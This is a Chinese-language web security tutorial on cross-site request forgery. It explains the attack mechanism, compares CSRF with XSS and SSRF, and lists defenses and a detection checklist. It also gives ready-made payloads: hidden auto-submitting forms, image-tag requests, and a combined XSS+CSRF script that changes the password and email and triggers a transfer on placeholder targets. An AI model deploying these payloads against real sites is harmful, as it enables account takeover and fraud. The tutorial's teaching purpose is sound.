一、CSRF 概念
CSRF(Cross-Site Request Forgery,跨站请求伪造) 是一种利用用户在目标网站的登录状态,伪造用户请求执行非预期操作的攻击方式。
简单来说就是:攻击者诱导已登录用户点击链接或访问恶意页面,借用用户的身份凭证(Cookie/Session),以用户名义向目标网站发送恶意请求。
类比理解:
你坐在银行柜台办业务,中途有人递给你一张纸条让你签个字,你以为是银行的表格随手签了。
结果那张纸条是"转账 10000 元给骗子"的授权书——银行一看是"你"亲笔签名的,照办了。
CSRF 就是这种"借你的手,干我的事"的攻击。
攻击前提
| 条件 | 说明 |
|---|---|
| 用户已登录目标站点 | 用户的浏览器持有目标站点的有效 Session/Cookie |
| 目标站点存在可被预测的请求 | 所有参数(包括隐含参数)攻击者可以提前构造 |
| 请求无需自定义 Header | 没有 CSRF Token、Origin/Referer 校验等防御 |
核心原理
CSRF 利用的是浏览器自动携带 Cookie 的机制:
1. 用户登录 A 网站(如银行),浏览器保存了 A 的 Session Cookie
2. 用户未登出 A 网站,同时又访问了 B 网站(恶意网站)
3. B 网站构造一个请求:<img src="http://bank.com/transfer?to=attacker&amount=10000">
4. 浏览器请求该图片 → 自动带上 bank.com 的 Cookie
5. 银行服务器收到请求,检测到 Cookie 有效 → 认为是用户本人操作 → 执行转账
二、CSRF 与 XSS 的区别
| 对比维度 | CSRF | XSS |
|---|---|---|
| 攻击方向 | 站外攻击:恶意网站冒充用户向目标站发请求 | 站内攻击:在目标站的页面中执行恶意脚本 |
| 利用方式 | 借用用户的 Cookie/Session | 盗取用户的 Cookie 或直接操控页面 |
| 信任关系 | 利用服务器对用户的信任(Session 有效) | 利用用户对网站的信任(浏览器信任网站返回的代码) |
| 是否需要用户交互 | 需要用户点击链接/访问恶意页面 | 通常用户只是浏览页面即自动触发 |
| 本质 | 身份冒充——伪造请求,冒充用户操作 | 代码注入——在可信页面中执行恶意代码 |
| 能否窃取数据 | 通常不能读取响应内容(仅能发送请求) | 可以读取页面数据并发送到攻击者服务器 |
一句话总结:
XSS → 网站信任用户输入 → 注入脚本
CSRF → 服务器信任用户浏览器 → 伪造请求
三、CSRF 攻击类型
1. GET 型 CSRF
利用方式:在恶意页面中嵌入标签自动发起 GET 请求。
<!-- 方式一:图片标签(自动请求,无感知) -->
<img src="http://target.com/transfer?to=attacker&amount=10000" style="display:none" />
<!-- 方式二:iframe -->
<iframe src="http://target.com/transfer?to=attacker&amount=10000" style="display:none"></iframe>
<!-- 方式三:标签链接诱导点击 -->
<a href="http://target.com/transfer?to=attacker&amount=10000">点击领取优惠券</a>
2. POST 型 CSRF
利用方式:通过 JavaScript 自动提交表单。
<html>
<body>
<!-- 隐藏表单自动提交 -->
<form id="csrf-form" action="http://target.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
3. JSON/API 型 CSRF
随着前后端分离和 RESTful API 的普及,很多应用使用 JSON 格式提交数据。
<!-- 利用 fetch 发送 JSON 请求 -->
<script>
fetch('http://target.com/api/transfer', {
method: 'POST',
credentials: 'include', // 携带 Cookie
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ to: 'attacker', amount: 10000 })
});
</script>
注意:
credentials: 'include'在跨域时会被 CORS 策略限制。但如果是同站请求(SameSite 未严格限制)或服务端 CORS 配置不当(Access-Control-Allow-Origin: *+Access-Control-Allow-Credentials: true),仍可成功利用。
四、CSRF 攻击流程详解
sequenceDiagram
participant User as 管理员用户
participant Target as 目标网站
participant Attacker as 攻击者网站
User->>Target: 登录目标网站
Target-->>User: 返回 Cookie/Session
Note over User,Target: 用户保持登录状态
User->>Attacker: 访问恶意网站(无意中)
Attacker->>User: 返回恶意页面(含伪造请求)
Note over User: 浏览器自动携带<br/>目标网站的 Cookie
User->>Target: 发送伪造请求(自动带Cookie)
Target->>Target: 验证 Cookie 有效 ✓
Target->>Target: 执行操作(转账/改密/发帖)
Target-->>User: 操作成功
Note over Attacker: 攻击完成!
五、常见攻击场景
| 场景 | 操作 | 危害 |
|---|---|---|
| 修改密码 | POST /change_password?new_pwd=123456 | 账户被锁定 |
| 转账/消费 | POST /transfer?to=attacker&amount=10000 | 资金损失 |
| 发表内容 | POST /post?title=spam&content=... | 垃圾信息/钓鱼内容 |
| 修改邮箱 | POST /change_email?email=attacker@evil.com | 后续可通过邮箱找回密码完全接管账号 |
| 注销账户 | POST /delete_account | 用户数据被删除 |
| 修改权限 | POST /admin/add_admin?user=attacker | 权限提升(仅限管理后台) |
| 网购下单 | POST /order?item_id=xxx&quantity=100 | 用户不知情下单支付 |
| 投票/点赞 | GET /vote?id=xxx | 刷票、操纵排名 |
六、CSRF 防御措施
1.CSRF Token(最主流)
服务端在表单中嵌入一个随机 Token,请求时必须携带该 Token 才能通过验证。
<!-- 服务端渲染时生成 Token 嵌入表单 -->
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="随机生成的Token值" />
<input type="text" name="to" />
<input type="number" name="amount" />
<button type="submit">转账</button>
</form>
// 服务端验证(以 Node.js 为例)
app.post('/transfer', (req, res) => {
const token = req.body.csrf_token;
if (token !== req.session.csrf_token) {
return res.status(403).send('CSRF Token 无效');
}
// 执行转账...
});
防御原理:攻击者无法获取用户页面的 Token 值(同源策略限制跨域读取 DOM),因此构造的请求中无法包含正确的 Token。
2. SameSite Cookie 属性
设置 Cookie 的 SameSite 属性,限制跨站请求是否携带 Cookie。
// 服务端设置 Cookie
Set-Cookie: session=xxx; SameSite=Strict; Secure; HttpOnly
SameSite 值 行为 防御效果 strict 任何跨站请求都不带Cookie 最严格,但用户体验可能受影响(从第三方链接跳转过来未登录) Lax GET请求(如链接、预加载)带Cookie;
POST/表单不带单不带平衡安全与体验,推荐默认值 None 任何跨站请求都携带Cookie 不安全,须配合 Secure(仅 HTTPS)使用 浏览器现状:Chrome 2021 年起默认 Cookie 的 SameSite 为
Lax,这已经能防御大部分 CSRF 攻击(特别是 POST 型)。
3.Referer/Origin 验证
检查请求头中的 Referer 或 Origin 字段,判断请求来源是否合法。
// 服务端验证 Referer
app.post('/transfer', (req, res) => {
const referer = req.headers.referer || '';
if (!referer.startsWith('https://target.com/')) {
return res.status(403).send('非法来源');
}
// 执行转账...
});
局限性:
Referer可能被浏览器隐私设置禁用,也可被<meta>标签控制。Origin更可靠,但部分请求可能不带Origin。
4.关键操作二次验证
敏感操作要求用户输入密码、验证码或进行生物识别。
应用场景:
修改密码 → 要求输入原密码
大额转账 → 短信验证码
删除账号 → 邮箱确认链接
绑定手机 → 短信验证码
5. 自定义 Request Header
要求请求携带非标准 Header(如 X-Requested-With: XMLHttpRequest),由于跨域请求自定义 Header 受 CORS 限制,可以防御 CSRF。
// 前端所有 AJAX 请求添加自定义 Header
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest',
'X-CSRF-Protection': '1'
},
credentials: 'include',
// ...
});
// 服务端验证
app.post('/api/*', (req, res, next) => {
if (req.headers['x-requested-with'] !== 'XMLHttpRequest') {
return res.status(403).send('非法请求');
}
next();
});
防御方案对比
| 防御方案 | 强度 | 用户体验影响 | 实施难度 | 说明 |
|---|---|---|---|---|
| CSRF Token | ⭐⭐⭐⭐⭐ | 无(隐藏字段) | 中 | 最推荐,需要服务端渲染配合 |
| SameSite=Lax | ⭐⭐⭐⭐ | 极低 | 低 | 浏览器自带防护,强力推荐 |
| SameSite=Strict | ⭐⭐⭐⭐⭐ | 高(跳转丢失登录态) | 低 | 适合银行/支付等对安全要求极高的场景 |
| Origin/Referer 验证 | ⭐⭐⭐ | 无 | 低 | 辅助方案,不能作为唯一防御 |
| 二次验证 | ⭐⭐⭐⭐⭐ | 中 | 中 | 关键操作的最后防线 |
| 自定义 Header | ⭐⭐⭐⭐ | 无 | 低 | 适合前后端分离的 API 架构 |
七、CSRF 实战 Payload 示例
针对论坛/博客的 CSRF 发帖
<!-- 诱使用户自动发帖 -->
<html>
<body>
<form id="csrf" action="http://forum.target.com/post/create" method="POST">
<input type="hidden" name="title" value="免费送VIP!点击领取" />
<input type="hidden" name="content" value="<script>恶意脚本内容...</script>" />
<input type="hidden" name="category" value="general" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
针对修改密码的 CSRF
<!-- 诱导用户修改密码(攻击者提前知道新密码) -->
<html>
<body>
<img src="http://target.com/user/change_pwd?new_pwd=hacker123&confirm=hacker123" style="display:none"/>
<h1>恭喜你中奖了!点击领取...</h1>
</body>
</html>
组合 XSS + CSRF(威力翻倍)
<!-- XSS 注入的页面中构造 CSRF 请求 -->
<script>
// 利用 XSS 插入的脚本,批量执行 CSRF 攻击
var targets = [
'/user/change_pwd?new_pwd=hack123&confirm=hack123',
'/user/change_email?email=hacker@evil.com',
'/transfer?to=attacker&amount=10000'
];
targets.forEach(function(url) {
new Image().src = 'http://target.com' + url;
});
</script>
八、CSRF 漏洞检测 Checklist
□ 目标站点对关键操作是否使用了 CSRF Token?
→ 查看表单中是否有隐藏的 csrf_token / _token 字段
□ Cookie 是否设置了 SameSite 属性?
→ 检查 Set-Cookie 响应头中 SameSite 的值
□ 服务端是否验证 Referer/Origin?
→ 修改 Referer 为恶意来源后请求是否仍成功
□ 敏感操作是否有二次验证?
→ 修改密码、转账等操作是否要求输入密码/验证码
□ CORS 配置是否允许跨域携带凭证?
→ 检查 Access-Control-Allow-Credentials: true 的配置
□ GET 请求是否会修改服务端状态?
→ 按理 GET 应该是幂等的,若 GET 会改数据则是 CSRF 高风险
九、CSRF 与 SSRF 对比
CSRF 和 SSRF 仅一个字母之差,但攻击原理完全不同,容易混淆:
| 对比维度 | CSRF | SSRF |
|---|---|---|
| 全称 | Cross-Site Request Forgery | Server-Side Request Forgery |
| 中文 | 跨站请求伪造 | 服务端请求伪造 |
| 攻击对象 | 用户(冒充用户操作) | 服务器(让服务器代发请求) |
| 利用的是 | 浏览器自动携带 Cookie 的机制 | 服务器对内网/本地的信任(防火墙绕过) |
| 请求由谁发起 | 用户浏览器 | 目标服务器自身 |
| 攻击目标 | 以用户身份在目标站执行操作 | 访问内网/本地资源(横向移动、读文件) |
| 防护重点 | CSRF Token、SameSite Cookie | URL 白名单、禁止内网 IP、协议限制 |
类比理解:
CSRF → 骗子假借你的手去银行办业务
SSRF → 骗子让银行职员去金库替他拿东西(因为金库不让客户进)
